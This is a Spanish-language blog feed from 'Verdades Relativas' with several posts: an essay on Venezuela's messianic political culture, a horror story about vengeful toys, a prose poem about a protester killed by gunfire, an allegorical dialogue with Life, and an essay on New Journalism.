Doscientos años han pasado desde las guerras de independencia, las icónicas batallas y los próceres que hoy se pintan como héroes. Doscientos años, y Venezuela no ha avanzado. No hemos aprendido a ver la histórica como lo que es: una secuencia de eventos pasados que relatados permiten prevenir el futuro. El venezolano aún no ha aprendido a admirar la historia de nuestro país desde su lugar; el pasado. Los líderes de entonces, aguerrillados, dictatoriales, apelativos a las emociones fuertes, siguen siendo los que se eligen en la actualidad. Generación tras generación se sigue optando por aquella figura de autoridad que parezca ser la que nos salvará de nuestros problemas, en lugar de la que realmente esté preparada para hacerlo. Y esto ocurre por un motivo claro y conciso: no estamos listos para el desarrollo.

Las teorías de comunicación del siglo XIX se refieren al público como una masa inerte que recibe información y responde en función de esta. Hoy día esto ha quedado atrás como una teoría obsoleta puesto que la audiencia es interactiva y audaz. Pero en el caso de la población venezolana, el término “masa” resulta bastante asertivo cuando de política, sociedad y desarrollo se trata. No hemos aprendido a pensar a futuro, a proyectar posibilidades, a visualizar el porvenir; más bien estamos acostumbrados a que otros decidan y actúen por nosotros. Somos adaptativos, como la masa al molde, porque “como va viniendo, vamos viendo.”

Es más fácil creer que la culpa de todos los males y las soluciones recaen en la persona que dirige el país, que si bien es en gran medida su responsabilidad, no se puede dejar de lado que el primer fallo fue colocar allí en primer lugar a quien no tiene las cualidades, capacidades ni conocimientos para ostentar el título de presidente. A fin de cuentas, el dirigente de un país es un servidor público, lo que un conserje a un edificio; administra los servicios, se encarga de las necesidades de los residentes y de limpiar el desastre. Y no se le deja a cualquiera entrar a tu edificio, conocer a tu familia y cuidar tus bienes, ¿verdad? Entonces, ¿por qué no hemos sido capaces, en gran parte de nuestra historia, de elegir a los conserjes que realmente sepan limpiar y no a los que dormiten en los pasillos con escoba en mano?

Venezuela arraiga sobre sí misma una cultura mesiánica y presidencialista; espera a un todopoderoso, un salvador que con llegar al trono, resuelva cualquier problemática al instante. Un omnipotente benevolente, un mesías que multiplique los panes, elimine las colas y convierta el agua en petróleo. Pero lo que tiene el venezolano, finalmente, no es más que sus manos que en lugar de trabajar solo sirven para elegir al incapaz, señalarlo como culpable y finalmente, tapar sus ojos, sus oídos y sus bocas.

Si me preguntan por Venezuela, Venezuela está enferma.

The post El síndrome de los tres monos first appeared on Verdades Relativas.

]]> https://verdadesrelativas.com/el-sindrome-de-los-tres-monos/feed/ 0 1287 ¿Quieres jugar? https://verdadesrelativas.com/quieres-jugar/?utm_source=rss&utm_medium=rss&utm_campaign=quieres-jugar https://verdadesrelativas.com/quieres-jugar/#respond Tue, 11 Jul 2017 00:31:48 +0000 http://verdadesrelativas.com/?p=996 ¿Quieres jugar? No es bueno que trates mal a tus juguetes ¿Sabes? Ellos también te pueden tratar mal a ti. Pero, si conoces a alguien que lo hace, no lo veas hacerlo. La curiosidad puede [...]

The post ¿Quieres jugar? first appeared on Verdades Relativas.

]]> ¿Quieres jugar?

No es bueno que trates mal a tus juguetes ¿Sabes? Ellos también te pueden tratar mal a ti.

Pero, si conoces a alguien que lo hace, no lo veas hacerlo. La curiosidad puede matar.

Y no me refiero a gatos.

Hace poco fui a una fiesta a la que fui invitada. Era el cumpleaños de mi vecino, Miguel. Estaba cumpliendo nueve años, yo solo tengo seis aun. Siempre trato de jugar con él, pero no quiere compartir sus juguetes conmigo, dice que las niñas tontas no deben jugar; sólo llorar, así que me empuja para que lo haga y luego corre riéndose. Entonces me levanto corriendo y voy con mamá. A mí me duele mucho a veces, yo solo quiero ser su amiga pero no me deja.

A él le regalan muchos juguetes; carritos, figuras de acción y bloques para construir. A mí solo me dan peluches y muchas muñecas de esas rubias de labios pintados y ojos azules. Dicen que se parecen a mí, pero yo no lo creo. No me gusta maquillarme, y además yo uso dos coletas. A mí no me gustan esos juguetes, porque no me divierten, me gusta más construir, pero me dicen que las niñas lindas solo sonríen y juegan con muñecas, así que eso hago siempre.

En el cumpleaños de Miguel, le regalaron muchos juguetes distintos a los de siempre; figuras de acción más grandes que las que tenía, dinosaurios, robots, y muchas cosas que mamá dice que son peligrosas para mí. Pero él ya es un niño grande. Yo lo vi jugando con sus regalos, sin embargo, era muy brusco. Los lanzaba al suelo, los golpeaba, les quitaba las cabezas, y cosas así. Sus papás se entristecían, pero no hacían ni decían nada. Otra vez quise jugar con él, mas de nuevo no me dejó, me amenazó con su dinosaurio nuevo. Yo me asusté mucho y me alejé.

Una noche no podía dormir. Estaba muy oscuro, y mi lamparita de hadas no encendía, pero no quise llamar a papá porque seguro estaba dormido, igual que mamá. Sin embargo estaba muy asustada, la luz de la luna que se veía por la ventana me asustaba más, era tenebrosa, así que decidí intentar dormir con las cortinas corridas, para no ver ese resplandor. Pero cuando me levanté, no pude evitar mirar hacia la ventana de Miguel. La luz que se veía encendida era roja, y eso me estremeció. Seguí mirando, y vi la silueta del dinosaurio con el que Miguel me había asustado días atrás, pero era mucho más grande que antes. El dinosaurio se agachó poco a poco, tomó algo y luego se volvió a levantar. Lo que había tomado entre sus garras, era a un niño. Y yo conozco a ese niño. Estaba cada vez más aterrada, pero no podía dejar de mirar.

El «juguete» lo zarandeaba, una y otra vez, mientras Miguel gritaba de dolor. Lo tomó por los cabellos, tal como el chico hizo antes con sus juguetes, y lo lanzó al suelo. Mis ojos se agrandaron de la sorpresa, mi respiración se cortó, y me llevé ambas manos a la boca. Algo salpicó. Ahora las cortinas que eran lo único que separaba la escena de mí, además de la distancia, estaba manchada de algún líquido. Los gritos cesaron.

La cortina se corrió, mostrando solo oscuridad, pero no sé ni cuantos pares de ojos brillantes me miraban fijamente. Eran los juguetes de Miguel. Me quedé estática en mi lugar. Mis piernas temblaban, yo sudaba, pero no parpadeaba, apenas aspiraba aire entrecortadamente. Segundos después, las pupilas brillantes desaparecieron. Yo seguía intranquila, con el corazón acelerado. Escuché un susurro lejano, pero que sentí como si me lo hubiesen dicho al oído.

«¿Quieres jugar?»

Me giré. No había nada.

Volví a ver la casa de mi vecino.

Un solo par brillante, de grandes ojos rojos.

¿Dinosaurio?

Esa masa negra, de largas y afiladas garras manchadas de carmesí, con aquella macabra sonrisa y dientes afilados y semi-rotos, no era un dinosaurio. Aquella sombra humeante, que pasaba de estado sólido a gaseoso de un momento a otro, no era ningún juguete.

Esto no es un juego.

Fue sólo un sueño, una pesadilla. Eso era lo que me repetía a mí misma, una y otra vez, desde hacía tres años. A cada rato soñaba con ello, con ese suceso. No sucedió. Trataba de convencerme, de tranquilizarme. Me estaba volviendo loca, no dormía bien, no comía bien, nunca más hable con nadie, y no volví a jugar con mis muñecas. Nunca les dije a papá y a mamá de esto, pero lo cierto es que están preocupados por mí. Mis ojos estaban ensombrecidos y con ojeras debajo, y mi cabello rubio, ahora no tenía siquiera brillo.

Pero hoy era mi cumpleaños número nueve, tengo que pasarla bien.

-Mamá, ¿Vendrá Miguel?- Me miró extrañada. Es cierto. Nadie nunca más supo nada de él. Es más, nadie le recuerda, ni sus padres, y todos piensan que es mi amigo imaginario. Sí, claro. Sobretodo amigo. -Lo siento, sé que no. Mejor así.

Sonó el timbre. Seguro es la abuela que ya llegó.

No. Era una ¿Persona? Encapuchada. Traía una caja con un moño azul y una nota.

-…Gracias…- Apenas susurré, sin prestarle demasiada atención.

La tomé. Y cuando lo hice, me fijé en las manos de la persona.

No eran manos.

Eran garras. Y estaban manchadas de sangre. Seguían manchadas de sangre.

Comencé a temblar y a sudar frío. Entré veloz y cerré la puerta. Me recosté de ella.

Decidí leer la nota.

«Para: Sarah

De: Miguel»

Mi corazón empezó a latir con fuerza. Esto no puede ser.

La abrí. Un muñeco igual a él, a aquél niño se hallaba dentro, sonriente.

Con manchas rojas por todo su cuerpo, con la ropa rota y moretones.

Lo tomé temblorosa. Mis ojos se aguaron, tenía miedo, mucho miedo. Me dejé caer hasta el suelo.

Pero había algo más escrito al fondo de la caja.

«¿Quieres jugar?»

Los ojos de aquél muñeco brillaron.

Como aquella vez.

 

-Mamá… No me gusta esa muñeca- No reconocí la voz de esa niña, nunca la había oído antes.

-No rechaces el regalo de Luis, sé educada- Una voz de una mujer mayor, supuse que era su madre. Pero por algún motivo, todo se escuchaba lejos.

Abrí los ojos.

Me sorprendí del enorme tamaño de las personas. La chica de largo cabello rojo cruzó los brazos con molestia. Su madre se volteó y siguió inflando un globo. La niña se acercó cada vez más a mí. Mi instinto me decía que me alejara, pero no me podía mover. Mi cuerpo no respondía. Acercó su mano, y me tomó entre sus manos.

-Cumplo 9 años, y todo lo que recibo es esta tonta y fea muñeca-Me miró con rabia. ¿Acaso se estaba refiriendo a mí?

¿Yo era una muñeca?

Y el espejo tras la enorme cabeza de la niña me lo confirmó. La sonrisa cosida que nunca podría borrar, el cabello sintético, la ropa pegada al cuerpo. Era yo. Pero no era mi cuerpo.

-Tch-Se quejó, y acto seguido, me lanzó contra el suelo.-¡Tonta, tonta muñeca! ¡Eres fea!-Gritó.

¿Tonta? ¿Fea?

Esa niña… No sabe cuidar sus juguetes.

Quizás debería enseñarle…

Y ella aprenderá.

Por las buenas… O por las malas.

-¿Quieres jugar?…-

The post ¿Quieres jugar? first appeared on Verdades Relativas.

]]> https://verdadesrelativas.com/quieres-jugar/feed/ 0 996 Ni uno menos https://verdadesrelativas.com/ni-uno-menos/?utm_source=rss&utm_medium=rss&utm_campaign=ni-uno-menos https://verdadesrelativas.com/ni-uno-menos/#respond Sat, 24 Jun 2017 00:19:12 +0000 http://verdadesrelativas.com/?p=905 Sentí cómo se me desvanecía la vida Estaba allí de pie, frente a ellos Pedíamos paz, suplicábamos justicia. Exigíamos derechos, recordábamos deberes. Me acerqué, porque quería que me escucharan, no que me oyeran. Me acerqué, [...]

The post Ni uno menos first appeared on Verdades Relativas.

]]> Sentí cómo se me desvanecía la vida

Estaba allí de pie, frente a ellos

Pedíamos paz, suplicábamos justicia.

Exigíamos derechos, recordábamos deberes.

Me acerqué, porque quería que me escucharan, no que me oyeran.

Me acerqué, y sólo nos separaba una baranda, una reja, un elemento físico.

Pero en realidad nos separaba un abismo.

Nos separaban ideas, principios, valores.

Nos separaban lealtades;

Él, leal al odio, a la violencia, al hombre corrupto, al miedo, a la muerte.

Yo, a mi país.

Nos separaban los corazones, las almas, aunque la sangre fuese de la misma tierra.

Transitábamos las mismas calles, teníamos las mismas tradiciones, ambos aplaudíamos a La Vinotinto, ambos tenemos al mismo tío Simón, ambos sonamos a arpa, cuatro y maraca.

Pero a él nada de eso le importó.

No, no había solo una verja entre nosotros.

De pronto, había algo más.

Una bala.

Y eso fue lo que nos acercó.

Porque si no fuimos hermanos de una misma tierra, ahora teníamos un vínculo que nadie podría borrar nunca de la historia; ni de la suya, ni de la mía.

Ahora, él era mi asesino, y yo su víctima.

De pronto, entendía lo rápido que pasa la vida

Y lo lento que es que sucedan las cosas

Allí, mientras se me iban las fuerzas, comprendí que el tiempo no se puede medir.

Que los llamamos segundos, minutos, horas. Pero que el tiempo tiene intensidad, no estratos.

Al principio no me lo creí;

Quizá podía salvarme, ¡aún estaba de pie, frente a ellos!

Sólo nos separaba una baranda. Una bala. Y mi sangre.

Estaba frente a ellos, y sin embargo, yo me encontraba ya lejos.

Nos llaman terroristas, pero el terror de transitar estas calles violentas, inseguras y corruptas todos los días, es lo que nos lleva a la calle.

Nos llaman terroristas, pero ellos no son los jóvenes que han sentido desvanecer sus vidas, que han visto sus sueños escapar incluso antes de morir, con el simple hecho de vivir en un país sin oportunidades.

Nos llaman terroristas, pero ellos nunca podrán describir el terror que se siente saber que en un momento intenso en el tiempo, muy lento, pero también demasiado rápido, tu vida se derrame por la bala de un hermano venezolano.

Apreté mi estómago con las manos, caminé unos pasos.

No sé cómo se me veía el rostro, pero mi corazón latía desesperado, por eso mismo, porque quería seguir latiendo.

Tal vez yo no sea uno más, pensé.

Pero lo soy; siempre lo fui.

Uno más que se sumó a los que exigían dignidad, respeto, libertad, justicia, paz, vida.

Uno más que se alzó ante la bota de la corrupción.

Uno más que tomó las calles y las hizo suyas, como suyo es el país.

Uno más que no murió, sino que entregó, dispuesto, la vida.

Para ellos, soy uno menos.

Para Venezuela, soy uno más.

 

Sentí como se me desvanecía la vida.

Y ni siquiera era mi vida; la que alguien, sin derecho, tomó entre sus manos.

Entre sus sangrientas, sucias, manchadas e impunes manos.

Sentí como se me desvanecía la vida, y ni siquiera estaba allí.

No lo vi morir; no allí, en directo, presencial.

No fui testigo, aunque lo soy ahora.

No lo sostuve entre mis brazos, llorando por lo cruel, lo injusto, lo incorrecto, lo inhumano.

No estaba allí, apretando los dientes para no dejar salir la rabia y la impotencia que dominaba mi ser, porque lo más importante era él, su vida que le arrebataron, que se escurría entre los segundos del reloj.

No fui yo quien lo cargó en su moto, ni quien intentó salvar su vida, para que no fuese uno menos, sino uno más.

No combatí a su lado, sabiendo que entregaba la vida desde la decisión valiente de salir a la calle.

No fui yo quien murió. Pero sentí como se me desvanecía la vida.

Como un espectador, tras la pantalla. Así fue para mí.

Se me contrajo el estómago, se me oprimió el pecho. Clavando mis dientes sobre mi labio inferior, lloré. Lloré mucho. Lloré con rabia, con dolor, pero con muchísima rabia.

Como un espectador.

Pero sentí como se me desvanecía la vida.

Se me desvanecía la mía, en impotencia, en frustración, en la cantidad de motivos que yo también tengo para salir a exigir, a manifestar, a cambiar mi país, aunque no lo haga. Se me desvanecía en tristeza, en angustia, en pesar. En desmotivación, en hambre, en cansancio. En desilusión, en agonía, en rabia, en ira.

Se me desvanecía la suya, cuando recibió el disparo.

Cuando su incredulidad se evidenciaba en sus pasos temblorosos; la esperanza de que pudiera salvarse estaba sembrada en mí como lo estuvo en él cuando pidió auxilio con el rostro contraído por la desesperación y el dolor; suplicante. Pero ambos sabíamos que no sería así.

Porque ambos sentimos como se nos desvanecía la ida.

Y con ese disparo, se nos desvanecía también el país.

Los sueños se drenaban uno por uno, gota por gota, en un torrente rojo que brotaba sin parar, manchando sus dedos; los de él, el valiente luchador, y los de él, el cobarde asesino.

El dolor de un país roto tan abrumador como la bala cuando atraviesa sin piedad la carne. Pero la bala no mata; la persona lo hace, como las personas que día tras día y sin parar, asesinan a una tierra rica y buena para convertirla en una nación desolada.

El futuro nos tembló; a él en las piernas, cuando cayó para no volverse a poner de pie. A mí, cuando me di cuenta que los sueños se nos escurren entre los dedos, la vida se nos desvanece y a Venezuela, a nuestra Venezuela nos la arrancan, como nos arrebataron a uno más.

The post Ni uno menos first appeared on Verdades Relativas.

]]> https://verdadesrelativas.com/ni-uno-menos/feed/ 0 905 Conversaciones entre la humanidad y la vida https://verdadesrelativas.com/conversaciones-entre-la-humanidad-y-la-vida/?utm_source=rss&utm_medium=rss&utm_campaign=conversaciones-entre-la-humanidad-y-la-vida https://verdadesrelativas.com/conversaciones-entre-la-humanidad-y-la-vida/#comments Thu, 23 Mar 2017 00:10:45 +0000 http://verdadesrelativas.com/?p=731 —¿De verdad crees­—se volteó a verme, con cierta altivez en su mirada, algo sumamente irritante—que una figura como “La muerte” se va a preocupar de buscar a cada persona que tenga que morir?—En respuesta, me [...]

The post Conversaciones entre la humanidad y la vida first appeared on Verdades Relativas.

]]> —¿De verdad crees­—se volteó a verme, con cierta altivez en su mirada, algo sumamente irritante—que una figura como “La muerte” se va a preocupar de buscar a cada persona que tenga que morir?—En respuesta, me quedé callada. Ella sonrió ante mi silencio.

Se colocó uno de sus rizos tras la oreja, y cruzó sus brazos sobre su pecho. Yo la miré con la mayor indiferencia que podía lograr.

—¿En serio piensas que “La muerte” tiene una lista de humanos que deben morir, y los va a buscar uno por uno? ¿Sabes cuántos humanos existen? ¿Sabes cuántos mueren todos los días, en todo el mundo?

—¡Por supuesto que no creo eso!—La interrumpí, antes de que continuara con su monólogo en forma de cuestionario-Es evidente que no existe un ser así. Tan solo es un nombre que le ponemos al mayor temor de la humanidad; y también la única promesa que no se rompe—Por primera vez sentí que había respondido bien. Quise sonreír, pero no lo hice. Habría parecido una niña feliz de recibir un dulce. Y ella ya me veía con ojos de superioridad como para darle más motivos.

La rubia calló un momento; una brisa ondeó su cabello y el mío. Ella me miró fijamente a los ojos, de esa forma en que ya nadie hace. De esa forma serena pero intimidante en que solo miran quienes saben quiénes son y en dónde están parados. De esa forma segura y fuerte; esa forma en que yo siempre he querido mirar. Y la admiré.

—Entonces, dejen de tenerle miedo. Es una promesa, es inevitable, es necesaria. Dejen de tenerle miedo; dejen de tratar de reconocer lo desconocido. Y tan sólo disfrútenlo.

Y me sorprendí.

—¿Disfrutar la muerte, dices?-Pregunté levantando una ceja, sarcástica

—Si, y lo que llaman “vida” también. Porque yo —miró arriba un segundo, bajó la vista y se volteó—Yo también sigo siendo desconocida para ustedes. Y me temen, más que a lo que llaman muerte.

—¿Por eso eres tan amargada, Vida?—Le lancé de vuelta, refiriéndome a la conversación que habíamos tenido.

—¿Estás segura de que soy yo la amargada, humana? —Y me miró con aquella tristeza en sus ojos, llena de experiencia, de dolor, de sabiduría. Esta vez no había prepotencia ni sarcasmo, nada de altanería. En su lugar, su mirada era la tristeza profunda de una madre que ha visto a sus hijos golpearse una y otra vez contra el mismo muro, y que aunque muda para decirlo con palabras, ha buscado la manera de gritarles, llamarlos, advertirles. Pero ellos eran ciegos, sordos ante todo eso.

Y supe que lo cierto es que la Vida me mostraba una y otra vez realidades, hechos y verdades. Pero era yo la que no quería ver.

The post Conversaciones entre la humanidad y la vida first appeared on Verdades Relativas.

]]> https://verdadesrelativas.com/conversaciones-entre-la-humanidad-y-la-vida/feed/ 2 731 La intersección entre el periodismo y la literatura https://verdadesrelativas.com/721-2/?utm_source=rss&utm_medium=rss&utm_campaign=721-2 https://verdadesrelativas.com/721-2/#respond Thu, 02 Mar 2017 01:42:29 +0000 http://verdadesrelativas.com/?p=721 “…De tan glorioso caos puede surgir, de la fuente más inesperada, de la forma más inesperada, algunos nuevos, gruesos y bonitos cohetes titulares periodísticos que inflamarán el cielo”. Tom Wolfe, El Nuevo Periodismo   La [...]

The post La intersección entre el periodismo y la literatura first appeared on Verdades Relativas.

]]> “…De tan glorioso caos puede surgir, de la fuente más inesperada, de la forma más inesperada, algunos nuevos, gruesos y bonitos cohetes titulares periodísticos que inflamarán el cielo”.

Tom Wolfe, El Nuevo Periodismo

 

La trascendencia del periodismo recae principalmente en lo social, su poder de denuncia, de libertad de expresión, de mostrar realidades. Sin embargo, en ocasiones lo impersonal de relatar hechos en busca de una objetividad que el hombre no es capaz de alcanzar por más que intente pues es subjetivo por naturaleza, no permite que el periodismo logre esa trascendencia social que tanto busca, quedándose solamente en la fase de muestra y enumeración de problemas e informaciones que aparentemente no tienen relación alguna, carentes de interpretación. Por tanto, cuando la vigencia de un hecho acaba, también muere su relevancia.

Por otra parte, la literatura también consigue su importancia dentro de lo social, forjando vínculos emocionales con las personas, sean lectores o solo audiencia influenciada por la obra escrita, al tratar temas humanos; muy humanos, que retratan las preocupaciones más profundas y recurrentes del hombre, a través de cuentos, poemas y por supuesto novelas. La literatura se nutre entonces del caldo social, de lo que está latente más allá de la mera noticia en los diarios; lo que no se toca, pero se vive. Y sin embargo, hasta la década de los sesenta, no se hablaba de forma directa de lo que se vivía, precisamente, de lo real, lo no ficticio, sino que se presentaba con nuevos personajes que recreaban las emociones ya palpables en la sociedad. El problema estaba allí, en el subtexto, en el texto y el contexto, pero el evento real no ocurría; la novela era plena invención del escritor que buscaba reflejar lo que sí era real a través de sus escritos ficticios.

Pero entonces, los periodistas se atrevieron. Probablemente con un espíritu escritor y ansias de ser totalmente autónomos con la pluma, comenzaron a escribir sobre lo que conocían, e incluso procuraban investigar más a fondo sobre la noticia, lo actual, para mostrarlo luego de una forma nueva y atrayente, con maneras y recursos literarios que la frialdad de la redacción noticiosa nunca les permitió experimentar. Y esa tendencia que no tuvo mayor origen que el de querer explorar en la escritura, describiendo, explicando y narrando los hechos noticiosos de una manera más libre, profunda y vinculante con la realidad, llena de contexto, información, documentación y sobre todo personajes reales, conocidos e identificables, se llamó “nuevo periodismo”.

Claro que, como todo lo nuevo, hizo bulla. A muchos les maravilló, como quien encuentra una pepita de oro en medio del barro, pero otros lo aborrecieron. Periodistas y novelistas por igual lo consideraron una ofensa a sus profesiones; unos por creer que se corrompía el sentido más puro del periodismo, en el cual la dichosa pero imposible objetividad, en conjunto con la concreción, era la marca intransigente de la escritura periodística. Otros, por afirmar que se profanaba la literatura como un arte, mezclando ideas propias de otras disciplinas que para ellos no tenían relación alguna. El temor de que ambas profesiones se vieran perjudicadas por la aparición de este nuevo género es el mismo temor que surge cuando aparece algo fuera de lo común que rompe paradigmas para marcar una nueva era; como con la televisión se creyó que moriría la radio, o con los medios digitales se pensó (y aún algunos lo creen) que desaparecería el papel, los libros y los diarios, lo mismo sucedió con el Nuevo Periodismo.

Sin embargo, tal como sucedió en los ejemplos anteriores, no se trató más que de un temor infundado, pues el nuevo periodismo no apareció para relevar a nadie de sus puestos ni eliminar las categorías y géneros ya existentes, sino que fue una respuesta a una necesidad social; de los periodistas a tener una forma de explicar los eventos de actualidad de un modo en que realmente lograra conectar con las personas mostrando los hechos reales y todas sus implicaciones en lo social (tal como lo logró Truman Capote en su novela de no-ficción, A Sangre Fría; o Richard Preston con su obra sobre la pandemia del virus del ébola, Zona Caliente; y de la misma audiencia, esperando recibir informaciones completas, con eventos vinculados y noticias de amplio contexto que les permitieran dar un rostro a los problemas que antes tan solo se sucedían diariamente como eventos aislado, pero que al ser analizados con profundidad pueden conectarse entre sí y mostrar la complejidad de todo lo que generan y significan dentro de la sociedad. Se convierte entonces la crónica literaria en algo más, un grano de arena que contribuye a la identificación, entendimiento y solución de adversidades, contribuyendo así al avance social.

Finalmente, cabe acotar que se habla mucho del periodismo y de la literatura, así, por separado, como temas inconexos que no tienen modo alguno de relacionarse entre sí. Sin embargo, ambos se sirven del idioma para existir y son formas de comunicación con un mismo objetivo claro y conciso: el aprovechamiento del mensaje, cualquiera que este fuere, para el desarrollo social de la humanidad. Entonces, de allí se hace evidente que sí es posible esa relación entre ambas áreas del lenguaje, y con mayor razón es posible hablar con libertad del Periodismo Literario, aquella intersección que une dos líneas que estando frente a frente no imaginaron tocarse. Una disciplina que lento y en silencio, se hace presente como un género que muchos admiran pero pocos se atreven; aquel Nuevo Periodismo del que tanto revuelo se causó y del que hoy se hace referencia más a sus obras que a su nombre, una tendencia que se auguró muerta pero que ha seguido evolucionando luego de casi seis décadas. Tal como diría Tom Wolfe en su libro El Nuevo Periodismo: ¡El travesaño superior es del primero que se agarre de él!

The post La intersección entre el periodismo y la literatura first appeared on Verdades Relativas.

]]> https://verdadesrelativas.com/721-2/feed/ 0 721